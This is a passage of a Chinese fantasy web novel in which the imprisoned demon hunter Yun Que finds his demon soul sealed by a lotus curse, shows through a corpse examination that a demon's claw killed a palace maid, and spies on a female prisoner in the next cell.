一声闷响。 那汉子直接被云缺一脚踢得飞起来,撞在墙壁上慢慢滑了下去,一声不吭的昏死过去。 云缺盘坐在一张木床上,等了半天,眼见外面要亮天了,也不见牧青瑶的身影。 “出意外了?该不会这么快就忘了我吧。” 云缺自顾自的嘀咕着。 他怎么也没想到,牧青瑶此刻的处境会和自己一样,都被关了起来。 说这话的,不止云缺一个。 同一时刻,皇城与八山城之间的某处荒林间,鼻青脸肿的萍山君坐在一个土包上,望眼欲穿的望着皇城方向。 等了大半宿,也没看到云缺和牧青瑶再次出现。 “该不会把我忘了吧……人族果然没信用!本王的行妖令呐!” 萍山君大吼了一声,随后急忙闭嘴。 这里离着皇城太近,它可不敢大呼小叫,真要让皇城里的高手知道外面有个七阶虎妖,随随便便出来一位都能把它收拾掉。 “这里不是好地方,我得躲远点。” 萍山君趁着天还没亮,逃向远去,远离了皇城。 萍山君做梦也没想到, 云缺与牧青瑶刚进皇城不久就被分别关了起来,别说行妖令,走出监牢都做不到。 天牢内,等待得无聊之际,云缺下意识的沟通妖刀。 这种举动,他时常会做。 就像平常捏捏拳头,活动手脚,属于一种猎妖人独有的习惯。 毕竟妖刀是本体的一部分。 但随后云缺忽然怔住了,眉峰锁起。 妖刀在肚子里,没有任何问题,随时能取出。 可自己与妖刀之间的那种特殊联系,云缺居然感受不到了。 “怎么回事……” 云缺闭上眼,沉心静气,仔细用神魂沟通。 每当他如此感受神魂,都能察觉到神魂里另一个强大妖魂的存在。 那是他的伴生妖魂,自从三岁起便一直存在。 但今天,云缺居然感受不到妖魂! 仿佛自己的伴生妖魂突然消失了一样。 这种情况,云缺从未遇到过。 妖刀尚在,妖魂消失! 很快云缺冷静下来,暗自沉吟。 随后云缺想到了红莲教主最后时刻催动的那个奇怪魂咒。 身体依旧毫无异样,没有丝毫受伤的迹象。 但妖魂的消失,云缺认为肯定与那魂咒有关! 想到这里,云缺直接散开上衣。 低头一看,在自己心窝位置,正印着一个小巧的莲花图案。 魂咒,莲花印! 请记住本书首发域名:99。鸟书网手机版阅读网址:wap.99 第74章 就怕有病的 红莲教主最后的手段,并非唬人而已。 而是一种阴险的奇特咒印,能印在活人身上。 此刻云缺心窝处的莲花印记,清清楚楚,好似刻在皮肤上一样,擦不掉也抹不掉。 莲花般的烙印,让云缺联想到消失的妖魂。 云缺终于知道了红莲教主这道魂咒的真正威能。 封印神魂! 若是正常人,一旦被魂咒击中,神魂将顷刻封印,成为再无知觉的活死人! 能否醒来,不得而知。 这道魂咒的用处,是封印牧青瑶的神魂。 如果灵芸郡主的神魂被封印,即便不死,也会神魂受损,就算以后能被解开封印,人恐怕也废了,很难神智如初。 毕竟小郡主现在没有任何修为,如此程度的魂咒,必定会伤及神魂,若变得半痴半傻,成为废人,还不如立刻死掉来得痛快。 幸好云缺用本体挡下了魂咒。 相当于救了牧青瑶一命。 巧合的是,云缺有伴生妖魂,魂咒的力量全落在妖魂身上,将其封印。 云缺自己的神魂反而毫发无损。 这也是为何云缺明明挨了红莲教主的魂咒,还感觉不到任何损伤的真正缘由。 想通了这一切,云缺对红莲教主的狠辣大为愤恨。 同时又生出一种说不出的奇怪感觉。 伴生妖魂,是猎妖人强大的助力,也是猎妖人身上沉重的枷锁。 刀断人亡这句话,不是说说而已,而是一个真实又惨烈的结果。 云缺所背负着的,是一个早已被定下的宿命,无法更改。 但来自红莲教主的魂咒,却误打误撞的将妖魂封印。 将这份枷锁封印! 没有妖魂,云缺成了普通的八品武者。 没有妖魂,云缺反而拥有了体会正常人的机会! 尽管这份机会无法永恒,但对于云缺这种来自前朝斩妖司的猎妖人来说,是这辈子从未体会过的。 他从出生,便与妖为伍,与妖同眠,自己都渐渐将自己当做一个怪物。 更别提与其他同龄的孩子玩耍。 云缺从很小的时候,就知道自己与众不同,他也想去街边与那些小朋友一起嬉闹玩耍。 自从一次无意间力量失控,硬生生掐死一只妖物后,云缺就知道自己不可能像其他孩子一样去尽情玩闹。 他怕自己一个不小心,把小朋友们掐死几个。 难以控制的妖之力,是猎妖人埋在心底深处的苦涩。 除了猎妖人之间,无人能懂。 可今天,云缺在失去妖魂后,反而觉得浑身轻松起来。 拍了拍心窝处的莲花印,云缺变得心情舒畅。 他希望封印之力持续久一些,让那怪物最好永远陷入沉眠。 “哈!终于自由了!” 云缺伸展双臂,高兴的自语道:“这下出不来了吧,让你总跟我嘻嘻嘻!再嘻呀,我还哈哈哈呢!你个老妖,做梦去吧!嘻嘻嘻,哈哈哈!” 学着妖魂的语调,云缺正自言自语呢。 一回头,见狱友壮汉正瞪着眼睛一脸惊悚的看着自己。 壮汉发现云缺回头,立刻一翻白眼,继续趴着不敢动弹。 被揍一顿不算什么。 在天牢里挨揍是家常便饭,作为牢里的常客,壮汉很清楚一个规则。 不怕手重的,就怕有病的! 遇到手重的,多说被人家打个半死,遇到有病的,容易被人家弄死! 天亮后,天牢里发放牢饭。 一天两顿,只有早晚,中午没吃的。 饭菜清汤寡水,两个粗面馍,一碗青菜汤,几块大咸菜。 第75章 验尸 验尸这种事,那是云缺的老本行。 尤其妖尸,验过成千上万。 不仅验尸,有时候还分尸,扒皮抽筋的那种。 “仵作哪有不会验尸的。”云缺道。 犁大人听罢点点头,道:“想不想吃肉。” 云缺狐疑的看了对方一眼,道: “大人有什么吩咐,不妨直说。” “跟我去验一具尸体,若能从尸体死因看出些有用的线索,你在天牢里天天都有肉吃。”犁大人开门见山的道。 “可以,不过除了吃肉之外,我要一份每天放风的资格。”云缺讨价还价道。 “别太贪心,以你的罪名,也许今天是你唯一能离开牢房的一次。”犁大人冷声道。 见对方不松口,云缺也无所谓。 能有肉吃已经不错了,至少不用饿肚子。 答应下来后,云缺被带出了牢房,跟着犁大人来到一间存放尸体的大屋。 一进屋便寒气扑面。 屋子中心是一个宽大的木台,上面盖着一层白布。 屋子里站着不少人,都穿着官服,一个个神色凝重,眉头紧锁,时而低声交谈两句。 有三个仵作装扮的官差正在讨论着验尸结果。 见犁大人到了,屋子里的众人立刻安静下来,纷纷见礼。 站屋里的,都是刑部的官差。 大晋王朝设有六部,分别为吏部、户部、礼部、兵部、刑部、工部。 刑部作为六部之一,掌天下刑罚之政令,责任重大,下设五司。 督捕司,掌缉捕事宜,追捕逃亡之犯;秋审司,掌核秋审,朝审各案;提牢司,掌牢狱,统管狱卒,稽察各地牢中罪犯;赃罚司,掌收放案内赃款及没收财物;律例司,掌修订律法。 天牢重地,归属于提牢司管辖。 提牢司以提刑官梁大人为首,下设十名下属官吏,简称属吏又叫令史,在场的除了直属天牢的仵作之外,全是提牢司的令史。 属于犁大人的下属。 云缺进屋后,扫了眼在场的提牢司令史。 总共十来位,容貌各异,年纪有老有少,大多皱着眉一脸哀相,可能这件凶杀案牵扯不小,都觉得倒霉呢。 看到云缺被带进来之后,这些令史看一眼便移开目光。 没人愿意多看一个囚犯。 唯独一名二十多岁的年轻令史,与云缺的目光对视了一下,随后微微点头。 人家既然点头示意,相当于无声的打过招呼,云缺也就朝对方点了下头。 这个年轻令史给云缺留下的印象最为深刻。 不仅此人是唯一一个愿意与云缺这种囚犯打招呼的人,还有一点,是这人的容貌。 此人一半的脸上遍布疤痕,一侧的嘴角开裂,乍一看有点吓人。 竟被毁容了。 从另一半脸上,能看出此人应该仪表堂堂,是个容貌英俊的年轻人。 可惜,被毁掉的半张脸,让这位年轻令史与英俊两个字再也无缘。 犁大人颔首示意后,问那三名仵作道: “可有新的线索。” 语气冷淡,听得出毫无期待可言。 三名仵作连忙躬身回话。 “回禀大人,暂时只能确定为他杀。” “凶手一剑毙命,剑法凌厉。” “从现场无人发现凶手这一点来看,凶手极有可能用的法器飞剑,远距离杀人。” 三名仵作各自道出一句话,便不再吭声。 这三人都是经验老道的仵作,整整查看了一天一夜,也没发现有用的线索。 毕竟只是一具尸体,除了怎么死的,凶器如何之外,实在看不出太多东西来。 犁大人早知道是如此结果,对云缺道: “你来看看。” 云缺也不废话,直接掀开白布,现出下面的尸体。 尽管早已见过尸体,在云缺拉开白布的时候,周围的令史与那犁大人还是下意识的往后退了一步。 尸体是个年轻女子,二十岁上下的年纪。 尸体摆放得很好,端端正正,不过是两截的。 一颗人头,被齐刷刷切了下来! 木台下方堆着大量冰块,尸体此刻有些发白,血迹早已被冻住,好似一尊雕塑。 云缺没看伤口,先看了眼尸体的装扮。 一身绸缎的里衣,外套早已被去掉,鞋子还在。 扫了一眼,云缺已然断定了死者的身份。 尸体的头发盘得极其繁复且端庄,这种发型,通常连豪门望族的贵妇人都难以企及,需要专门有人打理才行,绝非小门小户人家。 尤其鞋子,十分精美,绣着小巧的牡丹,还是用的金线。 独自立瑶阶,透寒金缕鞋。 单单这双鞋子就造价不菲! 云缺判断,这名死去的女子,应该是皇宫里的人,有可能是名地位不低的宫娥。 而且这女子是有修为的。 云缺从女子手掌的一层老茧判断出,死者是名武者,经常动用刀剑。 至于宾妃身份,则不大可能。 宾妃是皇帝的女人,即便死去,也不会脱掉外衣,让一群大男人在这验尸,那是皇帝所无法容忍的。 看出尸体的身份后,云缺随口问了句: “死者,死于何时。” 什么时候死的,其实对云缺来说无关紧要。 但昨晚牧青瑶进了皇宫,至今也没出现,不知这宫娥之死会不会与牧青瑶有关。 “一天之前。”犁大人沉声道。 得知时间,云缺放心了。 他和牧青瑶昨晚才进的皇城,那时候这宫娥早死了。 随后云缺开始仔细验尸。 先把人头拿起来摆弄半晌,还凑近闻了闻,鼻子几乎要贴在人头的脸上。 云缺这番举动,看得周围的几位大人直皱眉。 连那三个仵作都看得瞪大了眼睛。 让你来验尸,不是来玩尸,看样子你好像还想尝一尝似的。 看了看伤口的断面后,云缺将人头与身体合拢,问道: “发现尸体的时候,死者的脸朝上,还是朝下。” “脸朝上,我亲眼得见。”犁大人沉声道。 “朝上啊,我验完了。”云缺神态轻松的道:“大人想知道什么线索。” 见云缺气定神闲,好似把握十足,犁大人立刻眸光一亮,道: “凶手是男是女?凶器是刀是剑?凶手的修为是高是低?但凡与凶手有关的任何线索都可以!” 云缺闻言点点头,深吸一口气。 当众人以为他要高谈阔论之际,只听云缺道: “不知道男女,不知用刀用剑,也不知修为高低,但我知道这女子应该尚未出阁,大人若是不信,找个媒婆一验便知。” 一群官人还以为有了凶手的线索,结果此刻纷纷泄气,怒视着云缺。 犁大人愣了愣,恼怒道: “我不管尸体!我只要凶手的线索!” “大人别急。”云缺微笑道:“我看不出别的,不过我能断定,杀人凶手,他不是人。” “本官知道那凶手不是人!是个冷血的禽兽!你到底会不会验尸?”犁大人气得头顶快冒烟。 其他人都不敢言语。 纷纷对云缺投去敬佩的目光,心说你小子真有种,我们得罪了顶头上司,肯定要被穿小鞋,你一个囚犯还敢戏耍提刑官,今后在天牢别想消停,等着受罪吧。 云缺不急不缓的解释道: “大人误会了,我说的不是人,并非骂人,而是那凶手非人,不用刀也不用剑,用的,是爪子。” 一句话,犁大人豁然一怔。 其他人也错愕不已。 其中有个仵作反驳道: “年轻人,你难道没看见伤口么,那么明显的切割面,非刀既剑啊!最不济也该是斧子,怎么可能是爪子?” 云缺没再过多解释,而是指着人头道: “大人觉得,死者现在是什么姿态。” 犁大人与众人将目光落在尸体身上,一群人看了半晌,各自摇头。 “还能什么姿态,死倒儿的姿态呗!”一名上了年岁的令史道。 云缺叹了口气,指点道:“仔细看,她在低着头。” 云缺说完,犁大人等人终于发现,死者的人头与躯干被合拢后,的确呈现着微微低头的状态,只是幅度不大,不注意观察很难发觉。 “低头又如何,能证明什么?”犁大人狐疑道。 “能证明她不是被人杀的啊。”云缺道。 犁大人额头的青筋都崩了起来,好似即将爆发的火山,一个劲运气。 云缺说的云山雾罩,这位犁大人身为四品提刑官,在刑部混迹多年,是个老油条了,可今天居然一句话也听不懂。 “哪位大人带着刀剑,借我一用,我来复原死者的真正死因。”云缺道。 其他人没动,唯独那位半张脸毁容的年轻令史,将随身携带的腰刀递给了云缺。 云缺道了声谢,随后突然拔刀出鞘,一刀斩向犁大人的脖子。 一连串的举动,出人预料,风驰电掣! 周围众人全吓傻了,认为云缺要当场行凶,杀害提刑官大人。 那犁大人更是惊得一身冷汗,根本没时间反应。 长刀戛然而止,稳稳停在犁大人的脖子前。 犁大人能清晰感受到自己的咽喉处,贴着凉丝丝的刀刃。 不用多,只需再斩一寸,他这条命就算交代。 “你、你要作甚!” 犁大人满头冷汗,急急道:“云缺你别犯傻!你的罪名有转机,并非一定死罪!花名册上有大人标注的待审二字,你的案子有隐情,只是尚未开始调查而已!” 犁大人吓得把花名册的秘密都说了出来。 云缺也有点意外。 帮忙验个尸而已,居然还有意外收获。 云缺此刻的状态,与挟持了犁大人一模一样。 借出腰刀的那个年轻令史皱了下眉,双手无声的捏成拳,同时双臂上有一缕缕独属于武者的气机出现。 显然这位是有修为的,而且准备出手。 毕竟是他借出的腰刀,一旦云缺将犁大人杀掉,他也逃不开干系,容易被认定为云缺的同伙。 这时云缺好整以暇的对其他人道:“诸位大人仔细看好,犁大人现在是仰着头,还是低着头。” “仰头!” “对!是仰头,没错!” 几名令史连忙确认。 不用问,瞎子都看得出来的事儿。 云缺随之放下刀,将其还给那名半张脸毁容的令史。 犁大人惊魂未定,怒道: “我仰头还是低头,与杀人凶手有何关系!” “当然有关系!”云缺笑道:“大人听我详细道来。” 第76章 切过上千次脑袋 面对一众提牢司的官人,云缺风轻云淡,侃侃而谈。 “看犁大人的身手,应该没有修为才对,是个普通人。” 刚说出一句,那犁大人立刻反驳道: “本官虽无修为,却修圣人之道!饱读天下诗书,常处才墨之薮之地,走笔成章!誓要效仿圣哲之治,栖栖遑遑,孔席不暖,墨突不黔!” 云缺听完眨了眨眼,道: “大人文采斐然,说到底,还是个没修为的普通人呗。” 犁大人高昂的情绪瞬间崩解,咬了半天牙,无力的点了点头。 说他是普通人,身为当朝四品,又岂能被冠以普通二字。 可说他是个没有修为的普通人,他实在无力反驳。 云缺继续道: “刚才那一刀,是八品武者的出刀速度,大人身为没有修为的普通人,都有仰头的动作,说明我们人族对危险有着一种天然的判断,我称之为直觉,尤其临死之际,人的直觉会最灵敏。” “其实这种直觉,天下生灵都有,比如你杀鸡杀鸭甚至杀猪的时候,鸡鸭看到屠刀临头,都会有刻意的挣扎躲避动作。” “当然我不是说大人是猪,而是说直觉这种东西,是天下生灵的共同特点。” 一番直觉之谈,听得在场众人晕头转向,似懂非懂。 那位半张脸毁容的年轻令史,稍作沉吟后,赞同的微微点头。 犁大人实在听不下去了,怒道:“直觉与凶手有什么关联!” “大人别急,我还没说完呢。” 云缺笑了笑,继续道:“刚才我那一刀若是砍下去,大人觉得自己会面朝下,低头趴着死,还是脸朝上,仰头躺着死呢。” “当然是仰着头!脸朝上躺着死了!”犁大人怒不可赦的吼道。 “大人果然聪明,自己怎么死的都知道。”云缺呵呵笑道。 犁大人的鼻子快要被气歪了,可很快他察觉到一个不同之处。 木台上的尸体,头是低着的,本该趴着死才对,但发现尸体的时候,却是正面朝上! 死法截然不同。 甚至可以说诡异! 犁大人冷静了下来,皱眉道: “尸体死亡时,正面朝上绝对没错,我们刑部在第一时间赶到,尸体绝无第二人触碰……” 犁大人在屋子里来回踱了几步,分析道: “会不会凶手的刀剑太快,让死者没时间反应便身首异处?” 云缺否定道: “不会,因为再快的刀剑,在正面切掉头颅的时候,也会产生一种力量,这种力量会带着尸体朝后倒去,我切过上千次,不会错的。” 犁大人闻言点点头,觉得有道理,可随后他心头一惊。 切过上千次脑袋! 天祈城里资历最老的刽子手都不敢这么说! 你丫的到底杀过多少人呐! 大屋里一时安静下来,人们纷纷往旁边挪动脚步,都想离着云缺远点。 这种杀人狂,谁也不敢离太近。 其实云缺说的切过上千次,只是个谦虚的说法,他斩的妖,还得多十倍。 犁大人心惊肉跳的继续问道: “尸体的确有异样,但你如何能证明凶手非人?” 云缺再次拿起人头,将其摆正。 之前人头合拢的时候是低着头,这次头抬起来,脖子处立刻出现一个前端大、后端小的缺口。 “大人觉得,这具尸体是不是缺了点什么。”云缺道。 “尸体脖子上缺了一块血肉!”犁大人马上看出端倪。 “大人果然聪明!明察秋毫之末而不见舆薪。”云缺也学着对方咬文嚼字的赞了句。 这句话前半句,犁大人听得十分满意,毕竟谁都喜欢赞颂之言。 可后半句听完,犁大人气得脸色发青。 明察秋毫之末而不见舆薪,前面的明察秋毫的确是夸人的词儿,可后面加在一起就是损人的话了。 说的是眼力能看到一根毫毛的微小,却看不到一车柴草,比喻只看到小处,而看不到大处。 云缺其实也读书。 藏石镇县衙里的藏书他的确都看过,否则也说不出这句话。 但看是看,书上一些深奥的道理,大多数都无法理解,毕竟没人教。 明察秋毫,云缺知道是夸人的,觉得后面的话也应该不错,于是照猫画虎,全都抖落了出来。 犁大人心急这件案子,没心思理睬别的,质问道: “即便尸体少了块血肉,有可能是斧子之类的凶器所为,单凭这一点,无法证明凶手非人!” 没等云缺说话,在场有一名身形魁梧的令史开口道: “大人,属下的武器便是重斧,以斧子斩杀敌人,的确能让伤口呈现出开裂状态,好比砍柴,但斧子无法凭空带走一块血肉。” 犁大人毕竟是没有修为的文官,对杀人这种事实在是外行。 他沉吟片刻,疑惑道: “既然如此,那丢失的血肉,哪里去了?” 其他人也疑惑不解,都想不通消失的血肉在什么地方。 “难不成被凶手带走了?”一名年迈的令史道。 “这位大人说对了。”云缺此时伸出一根手指,解惑道:“消失的血肉,留在了指甲里。” 众人更加疑惑,纷纷狐疑的盯着云缺。 “所以杀人的凶手不是人,而是妖。” 云缺道出了最终答案,道:“那妖物用一只利爪,切开死者的脖子,消失的血肉,留在了利爪的指甲里,不止血肉,还有一节断骨,大人若有兴趣,不妨看看尸体的脖骨是不是少了一小节。” 犁大人闻言立刻吩咐那三个仵作动手,现在就剃掉血肉。 三个仵作急忙领命。 反正这活儿他们熟得很,一些诡案的尸体,少不得最后要切开查看各处内脏。 不多时,尸体的脖子与头颅连接处变成了完全的白骨。 头颅与身体一接,立刻能看出脖骨缺失半寸左右,而且是前面缺得多,后面缺得少。 与尸体外表缺失的血肉,形状一致! “难道真是妖物所为!” 犁大人瞪起了眼睛,猛搓双手,兴奋道:“老天开眼,终于有点眉目了!” 那位半张脸毁容的年轻令史开口道: “天祈皇城有伏妖大阵笼罩,怎会出现妖邪作祟?” 其他人也纷纷回过味儿来,都觉得不可思议。 “大阵的事我不管,只要查出凶手的蛛丝马迹,就能向上边交差了。” 犁大人说罢看向云缺,道:“你很好!很好!” “是大人聪慧。”云缺客气道。 “给他拿两只烧鸡,二斤牛肉!”犁大人吩咐完,又补充道:“再给他一壶清酒!今后每天给他送一顿肉,算我账上。” 一众下属立刻点头领命。 天牢里提刑官最大,上司吩咐,谁敢不同意,更别说是提刑官大人自己出钱。 云缺在犁大人耳边低声道: “大人,牢房里暗无天日太闷了,明天的放风时间您看……” “再说吧。”犁大人摆手道:“押他回去。” 云缺笑了笑。 再说,就是有门儿。 倒不是云缺非得出去放风,而是他不知道会被关押多久。 整天在牢房里浪费时间可不行。 听说自己的案子被标注待审,云缺就知道这件事要被无限期的拖后。 关个几天甚至一两个月都没什么,真要关个十年八年,那云缺宁可逃出去,大不了离开大晋。 云缺得提前准备,打探好天牢守卫的大致修为与地形情况,做好溜走的后手。 毁容的令史负责押送云缺。 回牢房的路上,此人微笑道: “小兄弟断案如神,实在令人佩服啊。” “瞎猫碰死耗子,运气而已。”云缺客气道。 “运气,又何尝不是一种天赋呢,小兄弟当真杀过上千人?” “没有,我不怎么杀人,就是没事儿的时候宰些山猫走兽,弄点兽皮讨生活。” “小兄弟口中的山猫走兽,恐怕指的是妖,看来你没少斩妖,正好,我也喜欢猎妖,若有机会,我们切磋切磋,看谁斩的妖物更多更强。” “大人说笑了,天下脚下哪有什么妖啊。” “谁说没有!学宫在城外建有一座妖山,其内妖物繁多,专门供学子狩猎,是一处试炼之地,我经常去,时而受伤,不过斩妖的感觉实在痛快!” “学宫还有妖山?不怕妖物伤人吗。” “当然不会伤人,妖山周围存在法阵,其内的妖物是出不来的。” “这样啊,不知猎杀了里面的妖物,归不归自己?” “这个……我还真不知道,通常妖物尸体会留在妖山,小兄弟的思路实在清奇啊,哈哈!” “没办法,人穷志短嘛,学宫里最好能赚钱,要不然我的生活费都没着落。” “小兄弟也准备报考天祈学宫?” “是啊,我有举荐资格,直接参加最后考核就成。” “那好哇!我是学宫演武殿学子,白天在这里当差,晚上回学宫修炼,等你进了学宫,咱们就是同窗!我叫吴鹰,在天牢若有难处,你可以让狱卒来找我。” 吴鹰显得十分热情,把云缺送回牢房后,又亲自送来犁大人吩咐过的食物。 等吴鹰走后,云缺开始吃饭。 一口牛肉一口酒,看得旁边的石头直咽口水。 “老大,这顿不会是断头饭吧?” 石头胆战心惊的道。 他见过不少囚犯会有一顿好吃好喝,不过吃喝完了,会被押赴刑场砍脑袋。 “断你个头,我又没罪。”云缺道。 石头将信将疑,看了看烧鸡和牛肉,他有点信了。 因为这吃的有点太好了! 断头饭多说给个鸡腿一大碗米饭,没见过两只烧鸡二斤牛肉的,而且还有酒! 闻到酒香,石头往前凑了几步,讪笑着将银钉还给云缺,道: “老大,挖通了!能看到隔壁了!” “动作挺快的。” 云缺收起银钉,给对方匀了碗酒,又分了个烧鸡。 不是奖励,而是早上吃了这位的早饭,还他一顿。 石头连忙道谢,先喝了一大口清酒,美滋滋的抓着烧鸡大啃。 “隔壁有什么好看的。”云缺边吃边道。 “嘿嘿,老大待会儿看了就知道,保准你看完还想看!”石头神神秘秘的道。 第77章 隔壁美景 天牢的牢房互相挨着。 云缺所在的这件牢房隔壁,按理说也该关着囚犯才对,云缺实在想不出有什么可看的。 不过既然石头说得神神秘秘,勾起了云缺一丝兴趣。 等吃完了饭,云缺来到孔洞近前,随意的朝隔壁瞄了一眼。 隔壁牢房里关押的,是个女人。 披头散发,衣衫不整,一侧肩头露在外面,现出刺眼的莹白。 女人抱着双膝坐在角落里,低着头,看不到容貌。 云缺看了一眼便失去兴趣。 还以为关着个怪物,原来只是个弱女子。 云缺正要收回目光,牢房里的女人缓缓抬起头,朝着墙壁上的孔洞望来。 云缺看到了对方的脸。 这女人的年纪在二十多岁,看着披头散发邋邋遢遢,可容貌居然生得极美! 瓜子脸,柳叶眉,一双清澈的眸子宛若秋水,精致的琼鼻,樱桃小口不染而朱。 女人的五官每一样都无可挑剔,组合在一起更是绝美中透着一种妖异,如异域舞娘,天外妖姬。 如此一个标志的美人,居然被关在暗无天日的天牢,任谁看到都会有一种我见犹怜,恨不得将其救出这处苦难之地的冲动。 美人,云缺看过不少。 无论藏石镇的大家闺秀秀儿姐,还是灵动狡黠的乌灵儿,都是很美的女孩,更不用说灵芸郡主那种天生丽质的绝代佳人。 但隔壁牢房里的女人,给人一种柔弱中透着邪魅,美丽中暗含杀气的感觉,如冰山般只可远观,不可接近,浑身上下透着生人勿扰的冷漠。 看到女人面貌的那一刻,云缺只能想到一个词汇来形容。 美人如狐! 若非这里是皇城天牢,如果在荒山野岭遇到这个女人,云缺会觉得对方是个狐妖所化。 简直如狐狸精一样! 欣赏美人,是云缺的一大爱好。 云缺大大方方的看了半晌。 女人显然也看到了墙洞里的眼睛,默默与云缺对视,眼眸里毫无波动,好似一潭死水。 云缺不眨眼,那女人也不眨眼。 两人就像较劲似的,大眼瞪小眼的盯着对方。 石头在旁边等得直咽口水,有心让云缺歇会儿,自己好过过眼瘾,又不敢开口。 提刑官犁大人可亲口说了,这位背着三百多条人命呢。 直至一顿饭的时间,局面有了变化。 云缺是八品武者,瞪眼睛而已,根本不累,看一天都没问题。 那女人先垂下了目光,缓缓抬起手,开始解自己囚服上衣的扣子。 云缺觉得奇怪。 这女人有怪癖不成,被人看非但不恼,还想让别人看得更多? 于是云缺瞪大了眼睛,贴在牢房墙上,看得饶有兴致。 这种小场面,对看遍藏石镇所有年轻女人沐浴的猎妖人来说,实在是小儿科。 随着女人手上的动作,第一颗扣子分离。 现出一大片莹白。 然后女人开始解第二颗扣子。 就在第二个扣子即将解开的那一刻,云缺眼前忽然出现一个狰狞的影像! 一只硕大的蜈蚣竟钻进墙洞,快速朝着云缺的眼睛爬来。 天牢里昏暗潮湿,虫蚁自然不少,若被蜈蚣朝着眼睛咬一下,那可不是闹着玩的。 云缺的反应速度,自然不是蜈蚣能比拟。 一侧身,让开墙洞。 那蜈蚣沿着墙洞爬了出来,很快钻进角落消失不见。 石头看到蜈蚣,连忙冲过去一顿乱踩,一边骂骂咧咧,生怕被这玩意咬到。 普通蜈蚣虽然不致命,但伤口肯定会红肿,这里是天牢,没人给囚犯看病,遭罪的只能是自己。 云缺的眉峰不着痕迹的动了动,扫了眼蜈蚣爬走的角落。 巧合? 再次朝墙洞里看去。 隔壁的女人已经扣好了衣服,垂着头,卷缩在角落里一动不动。 扫兴的蜈蚣。 云缺没去多想,盘坐在木床上运转周身气机,闭目打坐,思索着刚才验尸一事。 从那位犁大人的只言片语判断,皇宫里肯定出了什么大事。 凶手杀掉宫女,又能全身而退,这种情况很蹊跷。 没人会潜入皇宫,只为了杀个宫女,肯定有特别的目的。 按照常理推断,凶手应该冲着皇帝去的,想要刺王杀驾。 以云缺敏捷的思维,第一时间便排除了这个猜测。 皇帝身边肯定有高手昼夜保护,凶手若想刺杀皇帝,首先遭遇的绝不会是一个宫娥,而是面对一群大内高手。 可尸体只有一具。 如果有更多尸体存在,云缺相信那位犁大人肯定会统统拿出来分析。 以云缺猜测, 杀掉宫娥的凶手,目的不在皇帝,而是皇宫里贵重的东西。 凶手的身份是个贼! 在行窃过程后,恰巧被宫娥撞见,这才痛下杀手,留下痕迹。 从犁大人如此急迫的找出凶手线索来看,那凶手应该得手了,带走了某种贵重之物,皇帝因此大怒,刑部自然跟着倒霉。 “皇宫里丢了什么呢。” 云缺在心头暗自沉吟。 皇帝与他太过遥远,皇宫的财富,云缺也很难想象,实在猜不出皇家丢失的到底是什么。 云缺转而开始分析凶手。 比起皇宫失窃,云缺对那个神秘凶手更感兴趣。 因为那家伙与妖有关。 凶手未必当真是一头妖物,更有可能的,是一个能驾驭妖物的修行者。 比如自己这样的猎妖人。 若动用妖之力的话,云缺也能以妖爪杀人,留下与宫娥尸体上一模一样的伤口。 “伏妖大阵看来不像传闻的那么威力无穷,一定存在着某种缺陷,或者有人能在大阵内遮蔽妖气。” 云缺在心里如此想着。 否则就不会出现皇宫妖影这等奇闻。 “与其杀掉宫女,不如将其打昏,麻烦还能少一点。” 云缺继续推算着,在心底自语。 杀人,不仅会留下痕迹,还会更快泄露凶手的踪迹,引来皇宫护卫追杀。 打昏的话,逃走的时间将更加充盈。 凶手执意杀掉宫女,在云缺看来只能说明一点。 宫女看到了凶手的模样,或者看清了凶手的身形轮廓,从而被灭口。 “凶手看来对皇宫十分熟悉,又不想让外人看到自己半点模样,这家伙有点意思。” 云缺暗暗一笑。 他已经大致猜测出凶手的真正身份。 极有可能是庙堂中人,或者军方的高手,甚至是皇亲贵胄。 总而言之一句话, 凶手,是混迹于天祈皇城的内鬼,有着一层明面上地位不低的身份做掩饰。 如果让云缺得皇宫里丢失了什么,他能分析出更多线索。 可惜,犁大人守口如瓶。 又或者那位犁大人也不清楚失窃之物。 散去思绪,云缺不在多想。 皇帝家的事,他没兴趣理睬。 不过诡案凶手的线索不能浪费,云缺准备有机会再利用一二,找那位犁大人换点东西。 石头还在墙边窥视隔壁,看得津津有味,时不时的咽口水。 “看多了伤眼。” 云缺随口道了一句。 石头立刻听话的离开墙洞,学着云缺盘坐在木床,嘿嘿讪笑道: “怎么样老大,是不是看完还想看!我活到这么大,就没见过有女人比她好看的!” “那是因为你活得还不够久。”云缺道。 “我活得越久,看到的女人就越老哇,总不能娶个婆娘,越活越年轻吧。”石头疑惑道。 “笨呢,只要活过千年万年,活到成仙,你就能看到仙女,仙女还能比她丑吗。”云缺道。 “对哦,好像是这个理儿……”石头挠了挠头,觉得不对味了,苦笑道:“嘿嘿我哪能成仙呐,我这辈子能成个家就谢天谢地谢祖宗了。” “隔壁的女人是谁。”云缺道。 “阿梅,梅花的梅!没人知道她真正的名字,阿梅是牢里的犯人给取的。”石头道。 “阿梅?为何取这个名字,跟个丫鬟似的。”云缺道。 “因为她喜欢梅花!外面放风的区域,墙外有些梅树,开花的时候,跳得够高就有机会摘几朵,只要给阿梅两朵梅花,她会给你唱一段小曲儿做报答。”石头道。 “她要梅花做什么。”云缺问道。 “喜欢呗!女人不都喜欢花儿么。”石头挠头道。 云缺瞥了眼墙壁上的孔洞。 梅花不仅能看能闻,还能入药。 “等过些日子梅花盛开的时候,以老大的身手肯定能摘到更多!到时候老大就有耳福了,我保证老大这辈子肯定没听过那么好听的小曲儿!”石头打着包票道。 “有多好听,能比青楼里的花魁唱得还好听?”云缺不信的道。 “没得比!” 石头兴致勃勃的道:“干我这行的,少不得与那些大老板打交道,有时东家收到账,一高兴带着我们去青楼听曲儿,天祈皇城里最有名的八座青楼,八位花魁,我大多听过,比起阿梅的歌声,那些花魁唱的简直难以入耳!” “有那么好听?”云缺奇怪道。 “阿梅唱的小曲儿绝对是天籁之音!听过一次这辈子都忘不掉!” 石头炫耀道:“去年我踩着另一个狱友的肩膀才够到两朵梅花,还被狱卒打了一顿,听完阿梅的曲儿,我觉得再被打两顿都值!” 云缺听得好奇。 小曲儿还能唱出天籁之音,这得多高的音律造诣。 本来人就长得极美,又有一副好嗓子,这等女人又怎会落到天牢之地? “那个阿梅,她什么罪名?”云缺问道。 提及阿梅的罪名,石头的神色立刻变得古怪起来。 第78章 美梦 石头的神色,呈现出一种难以启齿,又心惊肉跳的模样。 他先跳下床,往外看了看,确定没人,这才凑到云缺近前,低声讲出了阿梅的罪行。 云缺听完,神色也变得古怪起来。 “切了侯爷的命根子?” 云缺啼笑皆非。 这种罪名不好判刑,别说大晋律例,连前朝大燕律例都没有记载。 